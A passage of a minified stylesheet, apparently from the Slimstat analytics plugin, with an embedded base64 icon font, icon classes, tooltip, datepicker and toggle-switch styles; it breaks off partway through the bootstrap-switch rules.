EawgBBAMHBANrCwEDAgcDAmsAAAAHBQAHYAoBAgEBAlQKAQICAVgAAQIBTE9OS0pGRUJBPTw5OBMUExU3FAwFGis1ND4CMh4CFRQHBiMhIicmNxQWMj4BJg4BNxQWMjYuAQ4BEwYeATY3NiYnNzYuAQYPAQ4BExQWMjYuAQ4BFxQWMjYuAQ4BExQWMjYuAQ4BUIS8yLyEUE8KFPzyFApPRyo8KAIsOC5uKjosBCRCItULLFhKDQkaGzkDEBocAzghNhkqOiwEJEIi9io6LAQkQiJnKjosAig+Js9muIhOToi4ZpF8ERF7kh0qKjosAijbHSoqOiwCKP6XK0wYLishQBPVDhoGDBDVAywBlB0qKjosAiiKHSoqOiwCKP7nHSoqOiwCKAAAAAUAAP86A6oDgQAoADEAQgBLAFQAgEB9GwoCBAEfAQoGAAENCgNHAAQBBgEEBm0ABgoBBgprAAkNBw0JB20PAQoADQkKDWAABwAIDAcIYBABDAALBQwLYAMBAQECWAACAgxIDgEFBQBYAAAADQBJTUxEQyopUVBMVE1USEdDS0RLQD86NzQyLi0pMSoxGCMzKBQRBRkrARYVFAAEADU0Ejc1JzUjIiY+ATczMh4BBicjFQcVFhc\u002FATYyFgYPAQYBMjYQJgQGEBYTMzIWFAYnIyImPQE0NjIWBycyFhIGIiYSNhMyNi4BDgIWA1dT\u002Fuz+fv7s8LICMxUgAhwX0BUeAiITNAGccgYbDyogAg4aBf50l9bW\u002FtLW1stoFSAgFZwVICAqIAE0gbYCuv68BLSDa5oCltqWApoCGXWUwv7uAgEWwLQBChMBAzMgKh4BICgiATMBAxFsCRoPHiwPGgX9hdYBLtYC0v7O0gGeHiogAR4WnBYeHhaduP7+uLgBArj9wprWmgKW2pYABQAA\u002F2oD6ANSAB8AIgAlADMAPABwQG0jAQAGHQEJACcgAgcFA0cAAwAGAAMGXgwBAAAJBQAJXgAFAAcEBQdgAAQACggECmAACAACCwgCYA0BCwEBC1INAQsLAVgAAQsBTDQ0AQA0PDQ8Ozk2NTAvLiwpKCUkIiEaFw4MCQYAHwEeDgUUKwEyFhcRFAYHISImJzUhIiYnETQ2PwE+ATsBMhYXFTYzDwEzAQczFzc1IxUUBicjESE1NDYBESMVFAYnIxEDshceASAW\u002FekXHgH+0RceARYQ5A82FugXHgEmIUenp\u002F6bp6dtsNYeF+kBHhYCJtceF+gCfCAW\u002FVoXHgEgFqAgFgF3FjYP5BAWIBa3F3enAX2nwrDp6RYgAf6bjxY2\u002Fk4Cg+gWIAH+mgAAAwAA\u002F7EEeAMMAAgALABPAHdAdCwlAgoHIB8OAwMCMhMCBAgDRwABBwFvAAcKB28OAQAKDQoADW0ACw0CDQsCbQwBCgANCwoNYAYBAgUBAwgCA2AACAQECFQACAgEWAkBBAgETAEATUtKSEVEQT82MzEvKSgkIhwbFxUSEAoJBQQACAEIDwUUKwEiJj4BHgIGBTMyFgcVFAYrARUUBgcjIiY9ASMiJic1NDY3MzU0NhczMhYXARQWNzMVBiMhIiY1ND4FFzIXHgEyNjc2MzIXIyIGFQGJWX4CerZ4BoQBw8QHDAEKCMQMBmsICsUHCgEMBsUKCGsHCgH+ZSodjyY5\u002FhhDUgQMEh4mOiELCyxUZFQsCwtJMH0dKgFefrCAAny0ekkMBmsICsUHCgEMBsUKCGsHCgHEBwwBCgj+vx0sAYUcTkMeOEI2OCIaAgoiIiIiCjYqHQAAAAADAAD\u002FsQRyAwwACAAsAE4AVEBRSQEAByQbEgMCCDIBBgIDRwABBAFvBQEEBwRvCQEHAAdvCgEACABvAAgCCG8DAQIGAm8ABgZmAQBIRkRDQT82MycmIiEVFBAPBQQACAEICwUUKwEiJj4BHgIGBRcWFA8BBiIvAQcGIi8BJjQ\u002FAScmND8BNjIfATc2Mh8BFhQHBQcGFB8BBiMhIiY1ND4FFzIXFjI3NjMyFw4BBxQXAYlZfgJ6tngGhAIEiwUFTAUPBYuLBQ8FTAUFi4sFBUwFDwWLiwUPBUwFBf5fZRUVLgsN\u002FhhDUgQMEh4mOiELC1a4VgsLDxAPDgEVAV5+sIACfLR6tYoGDwVMBQWLiwUFTAUPBoqLBQ8GSwUFi4sFBUsGDwWLZRQ8FS4CTkMeOEI2OCIaAgpERAoEDxoSHhUAAAIAAP9pA+oDUwAIAAwAHUAaAAADAG8AAwIDbwACAQJvAAEBZhESExIEBRgrETQABAACAAQANyE1IQEmAZwBKAT+4P5c\u002FuLRAj79wgFezwEmAv7e\u002Fl7+3gIBJn2kAAAAAAEAAAABAACwdKvHXw889QALA+gAAAAA1YmAAAAAAADViYAA\u002F\u002F3\u002FOgR4A4EAAAAIAAIAAAAAAAAAAQAAA1L\u002FagAABHb\u002F\u002Ff\u002F6BHgAAQAAAAAAAAAAAAAAAAAAABsD6AAAAzgAAANZ\u002F\u002F0DoP\u002F\u002FAxEAAAOgAAADoAAABC\u002F\u002F\u002FwQv\u002F\u002F8COwAAA+gAAANZAAADoAAAAWUAAAFlAAACOwAAAjsAAANZAAACygAAA+n\u002F\u002FwPoAAAD6AAAA6oAAAPoAAAEdgAABHYAAAPoAAAAAAAAAFAAtgEIAVIB\u002FAKmAxQDggPABBwEpgUoBVwFkAXoBkAG1gcqB6oInAlMChAKpgtSC\u002FIMIQABAAAAGwBVAAcAAAAAAAIAIgAyAHMAAACRC3AAAAAAAAAAEgDeAAEAAAAAAAAANQAAAAEAAAAAAAEADQA1AAEAAAAAAAIABwBCAAEAAAAAAAMADQBJAAEAAAAAAAQADQBWAAEAAAAAAAUACwBjAAEAAAAAAAYADQBuAAEAAAAAAAoAKwB7AAEAAAAAAAsAEwCmAAMAAQQJAAAAagC5AAMAAQQJAAEAGgEjAAMAAQQJAAIADgE9AAMAAQQJAAMAGgFLAAMAAQQJAAQAGgFlAAMAAQQJAAUAFgF\u002FAAMAAQQJAAYAGgGVAAMAAQQJAAoAVgGvAAMAAQQJAAsAJgIFQ29weXJpZ2h0IChDKSAyMDE3IGJ5IG9yaWdpbmFsIGF1dGhvcnMgQCBmb250ZWxsby5jb21zbGltc3RhdC1mb250UmVndWxhcnNsaW1zdGF0LWZvbnRzbGltc3RhdC1mb250VmVyc2lvbiAxLjBzbGltc3RhdC1mb250R2VuZXJhdGVkIGJ5IHN2ZzJ0dGYgZnJvbSBGb250ZWxsbyBwcm9qZWN0Lmh0dHA6Ly9mb250ZWxsby5jb20AQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAxADcAIABiAHkAIABvAHIAaQBnAGkAbgBhAGwAIABhAHUAdABoAG8AcgBzACAAQAAgAGYAbwBuAHQAZQBsAGwAbwAuAGMAbwBtAHMAbABpAG0AcwB0AGEAdAAtAGYAbwBuAHQAUgBlAGcAdQBsAGEAcgBzAGwAaQBtAHMAdABhAHQALQBmAG8AbgB0AHMAbABpAG0AcwB0AGEAdAAtAGYAbwBuAHQAVgBlAHIAcwBpAG8AbgAgADEALgAwAHMAbABpAG0AcwB0AGEAdAAtAGYAbwBuAHQARwBlAG4AZQByAGEAdABlAGQAIABiAHkAIABzAHYAZwAyAHQAdABmACAAZgByAG8AbQAgAEYAbwBuAHQAZQBsAGwAbwAgAHAAcgBvAGoAZQBjAHQALgBoAHQAdABwADoALwAvAGYAbwBuAHQAZQBsAGwAbwAuAGMAbwBtAAAAAAIAAAAAAAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwECAQMBBAEFAQYBBwEIAQkBCgELAQwBDQEOAQ8BEAERARIBEwEUARUBFgEXARgBGQEaARsBHAAFdHJhc2gFY2xvY2sGc2VhcmNoBmNhbmNlbAhkb3dubG9hZAZ1cGxvYWQOZG93bmxvYWQtY2xvdWQMdXBsb2FkLWNsb3VkCmxvY2F0aW9uLTELYXJyb3dzLWN3LTEFbG9naW4GbG9nb3V0CmFuZ2xlLWxlZnQLYW5nbGUtcmlnaHQRYW5nbGUtZG91YmxlLWxlZnQSYW5nbGUtZG91YmxlLXJpZ2h0CWFycm93cy1jdwNkb2MFc3BpbjQEZWRpdAVnYXVnZQlzdG9wd2F0Y2gEZG9jcwl1c2VyLXBsdXMKdXNlci10aW1lcw1taW51cy1jaXJjbGVkAAAAAAABAAH\u002F\u002FwAPAAAAAAAAAAAAAAAAAAAAAAAYABgAGAAYA4H\u002FOgOB\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\") format(\"truetype\")}[class^=slimstat-font-]:before,[class*=\" slimstat-font-\"]:before{color:#616060;font-family:\"slimstat\";font-style:normal;font-weight:normal;font-size:14px;text-decoration:inherit;width:1em;margin:0 .2em;text-align:center;font-variant:normal;text-transform:none;line-height:1em}.slimstat-font-trash:before{content:\"\"}.slimstat-font-clock:before{content:\"\"}.slimstat-font-search:before{content:\"\"}.slimstat-font-cancel:before{content:\"\";background:url(\"data:image\u002Fsvg+xml,%3Csvg width='10' height='10' viewBox='0 0 10 10' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cg clip-path='url(%23clip0_417_931)'%3E%3Cpath d='M5.89353 4.99459L8.95228 1.93609C9.06613 1.81821 9.12912 1.66034 9.1277 1.49646C9.12628 1.33259 9.06055 1.17583 8.94466 1.05995C8.82878 0.944073 8.67203 0.878342 8.50815 0.876918C8.34428 0.875494 8.18641 0.938491 8.06853 1.05234L5.00978 4.11084L1.95128 1.05234C1.89328 0.994263 1.8244 0.94819 1.74858 0.916756C1.67276 0.885321 1.59148 0.869141 1.5094 0.869141C1.42733 0.869141 1.34605 0.885321 1.27023 0.916756C1.19441 0.94819 1.12553 0.994263 1.06753 1.05234C1.00945 1.11034 0.96338 1.17922 0.931945 1.25504C0.90051 1.33086 0.88433 1.41214 0.88433 1.49421C0.88433 1.57629 0.90051 1.65757 0.931945 1.73339C0.96338 1.80921 1.00945 1.87809 1.06753 1.93609L4.12603 4.99459L1.06053 8.06034C0.972939 8.14767 0.913252 8.25904 0.889038 8.38033C0.864824 8.50162 0.877172 8.62737 0.924517 8.74164C0.971862 8.85591 1.05207 8.95354 1.15498 9.02216C1.25788 9.09078 1.37884 9.1273 1.50253 9.12709C1.66253 9.12709 1.82253 9.06609 1.94453 8.94409L5.01003 5.87834L8.06853 8.93684C8.12652 8.99495 8.19542 9.04103 8.27127 9.07244C8.34712 9.10384 8.42843 9.11995 8.51053 9.11984C8.63411 9.11981 8.75491 9.08315 8.85765 9.01449C8.9604 8.94583 9.04049 8.84825 9.08779 8.73408C9.1351 8.61991 9.14749 8.49429 9.12342 8.37308C9.09934 8.25186 9.03987 8.14051 8.95253 8.05309L5.89353 4.99459Z' fill='%23FF3636'\u002F%3E%3C\u002Fg%3E%3Cdefs%3E%3CclipPath id='clip0_417_931'%3E%3Crect width='9' height='9' fill='white' transform='translate(0.509766 0.494141)'\u002F%3E%3C\u002FclipPath%3E%3C\u002Fdefs%3E%3C\u002Fsvg%3E%0A\") no-repeat center center\u002Fcontain;width:12px;height:12px;display:inline-block;transform:translateY(1px)}.slimstat-font-upload:before{content:\"\"}.slimstat-font-download-cloud:before{content:\"\"}.slimstat-font-upload-cloud:before{content:\"\"}.slimstat-font-location-1:before{content:\"\"}.slimstat-font-arrows-cw-1:before{content:\"\"}.slimstat-font-login:before{content:\"\"}.slimstat-font-logout:before{content:\"\"}.slimstat-font-angle-left:before{content:\"\"}.slimstat-font-angle-right:before{content:\"\"}.slimstat-font-angle-double-left:before{content:\"\"}.slimstat-font-angle-double-right:before{content:\"\"}.slimstat-font-arrows-cw:before{content:\"\"}.slimstat-font-doc:before{content:\"\"}.slimstat-font-spin4:before{content:\"\";font-size:26px;overflow:hidden;margin:0}.slimstat-font-edit:before{content:\"\"}.slimstat-font-gauge:before{content:\"\"}.slimstat-font-stopwatch:before{content:\"\"}.slimstat-font-docs:before{content:\"\"}.slimstat-font-user-plus:before{content:\"\"}.slimstat-font-user-times:before{content:\"\"}.slimstat-font-minus-circled:before{content:\"\"}.animate-spin{-moz-animation:spin 3s infinite linear;-o-animation:spin 3s infinite linear;-webkit-animation:spin 3s infinite linear;animation:spin 3s infinite linear;display:inline-block;line-height:1em}@-moz-keyframes spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@-webkit-keyframes spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@-o-keyframes spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@-ms-keyframes spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes spin{0%{-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-moz-transform:rotate(359deg);-o-transform:rotate(359deg);-webkit-transform:rotate(359deg);transform:rotate(359deg)}}.qtip{position:absolute;left:-28000px;top:-28000px;display:none;max-width:280px;min-width:50px;font-size:1em;line-height:1.5em;direction:ltr;box-shadow:none;border-radius:5px;padding:0}.qtip-content,.qtip-titlebar{position:relative;overflow:hidden}.qtip-content{padding:5px 9px;text-align:left;word-wrap:break-word}[dir=rtl] .qtip-content{text-align:right}.qtip-titlebar{padding:5px 35px 5px 10px;border-radius:0 0 1px;font-weight:700}[dir=rtl] .qtip-titlebar{padding:5px 10px 5px 35px}.qtip-titlebar+.qtip-content{border-top-width:0 !important}.qtip-close{position:absolute;right:-9px;top:-9px;z-index:11;cursor:pointer;outline:0;border:1px solid rgba(0,0,0,0)}[dir=rtl] .qtip-close{right:auto;left:-9px}.qtip-titlebar .qtip-close{right:4px;top:50%;margin-top:-9px}[dir=rtl] .qtip-titlebar .qtip-close{right:auto;left:4px}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{display:block;text-indent:-1000em;direction:ltr}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{width:18px;height:14px;line-height:1.5em;text-align:center;text-indent:0;font:normal 700 1em Tahoma,sans-serif;color:inherit;background:-100em -100em no-repeat}.qtip-default{background-color:#2b2b2b;font-style:italic;padding-top:12px;padding-right:16px;padding-bottom:12px;padding-left:16px;border-radius:12px;color:#9ba1a6;font-weight:600;font-size:12px;line-height:20px;letter-spacing:0px;font-style:normal;text-decoration:none !important;transform:translateX(9px) translateY(-1px)}[dir=rtl] .qtip-default{transform:translateX(-9px) translateY(-1px)}.qtip-default strong{color:#fff;font-weight:700;font-size:14px;line-height:20px;letter-spacing:0px;font-style:normal;text-decoration:none !important}.qtip-default .qtip-titlebar{background-color:#ffef93}.qtip-default .qtip-icon{border-color:#ccc;background:#f1f1f1;color:#777}.qtip-default .qtip-titlebar .qtip-close{border-color:#aaa;color:#111}.qtip .qtip-tip{margin:0 auto;overflow:hidden;z-index:10}.qtip .qtip-tip,x:-o-prefocus{visibility:hidden}.qtip .qtip-tip,.qtip .qtip-tip .qtip-vml,.qtip .qtip-tip canvas{position:absolute;color:#2b2b2b !important;background:#2b2b2b !important;border:0 dashed rgba(0,0,0,0);background-color:#2b2b2b !important;width:12px !important;height:12px !important;transform:rotate(135deg) translateX(0px) translateY(1px);line-height:unset !important;border-top-right-radius:4px;display:inline-block}[dir=rtl] .qtip .qtip-tip,[dir=rtl] .qtip .qtip-tip .qtip-vml,[dir=rtl] .qtip .qtip-tip canvas{border-top-right-radius:0;border-top-left-radius:4px}.qtip .qtip-tip canvas{top:0;left:0;display:none !important}[dir=rtl] .qtip .qtip-tip canvas{left:auto;right:0}.qtip .qtip-tip .qtip-vml{behavior:url(#default#VML);display:inline-block;visibility:visible}\u002F*! jQuery UI - v1.10.3 | https:\u002F\u002Fjqueryui.com *\u002F#ui-datepicker-div{display:none}.ui-datepicker{background-color:#fff;width:17em;padding:8px;border-radius:8px;box-shadow:5px 0px 40px rgba(0,0,0,.2);border:none !important;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:4px;width:26px;height:26px;cursor:pointer}.ui-datepicker .ui-datepicker-prev:hover,.ui-datepicker .ui-datepicker-next:hover{background-color:#fff}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;top:50%;transform:translate(-50%, -50%);font-size:15px;font-weight:600;color:#616060;transition:.3s all ease-out}.ui-datepicker .ui-datepicker-prev span:hover,.ui-datepicker .ui-datepicker-next span:hover{color:#e8294c}.ui-datepicker .ui-datepicker-prev{left:2px}[dir=rtl] .ui-datepicker .ui-datepicker-prev{left:auto;right:2px}.ui-datepicker .ui-datepicker-next{right:2px}[dir=rtl] .ui-datepicker .ui-datepicker-next{right:auto;left:2px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month-year{width:100%}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:49%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:700;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}[dir=rtl] .ui-datepicker td span,[dir=rtl] .ui-datepicker td a{text-align:left}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}[dir=rtl] .ui-datepicker .ui-datepicker-buttonpane{border-left:0;border-right:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em;width:auto;overflow:visible}[dir=rtl] .ui-datepicker .ui-datepicker-buttonpane button{float:left}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}[dir=rtl] .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:right}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}[dir=rtl] .ui-datepicker-multi .ui-datepicker-group{float:right}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}[dir=rtl] .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,[dir=rtl] .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:1px;border-right-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}[dir=rtl] .ui-datepicker-multi .ui-datepicker-buttonpane{clear:right}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}[dir=rtl] .ui-datepicker-rtl .ui-datepicker-buttonpane{clear:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}[dir=rtl] .ui-datepicker-rtl .ui-datepicker-buttonpane button{float:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}[dir=rtl] .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,[dir=rtl] .ui-datepicker-rtl .ui-datepicker-group{float:left}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}[dir=rtl] .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,[dir=rtl] .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:1px;border-left-width:0}\u002F*! bootstrap-switch - v3.3.4 | https:\u002F\u002Fwww.bootstrap-switch.org *\u002F.bootstrap-switch{display:inline-block;direction:ltr;cursor:pointer;border-radius:4px;border:1px solid #ccc;position:relative;text-align:left;overflow:hidden;line-height:8px;z-index:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;vertical-align:middle;-webkit-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}[dir=rtl] .bootstrap-switch{direction:rtl;text-align:right}.bootstrap-switch .bootstrap-switch-container{display:inline-block;top:0;border-radius:4px;-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}.bootstrap-switch .bootstrap-switch-handle-off,.bootstrap-switch .bootstrap-switch-handle-on,.bootstrap-switch .bootstrap-switch-label{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;cursor:pointer;display:inline-block !important;height:100%;padding:6px 12px;font-size:14px;line-height:20px}.bootstrap-switch .bootstrap-switch-handle-off,.bootstrap-switch .bootstrap-switch-handle-on{text-align:center;z-index:1}.bootstrap-switch .bootstrap-switch-handle-off.bootstrap-switch-primary,.bootstrap-switch 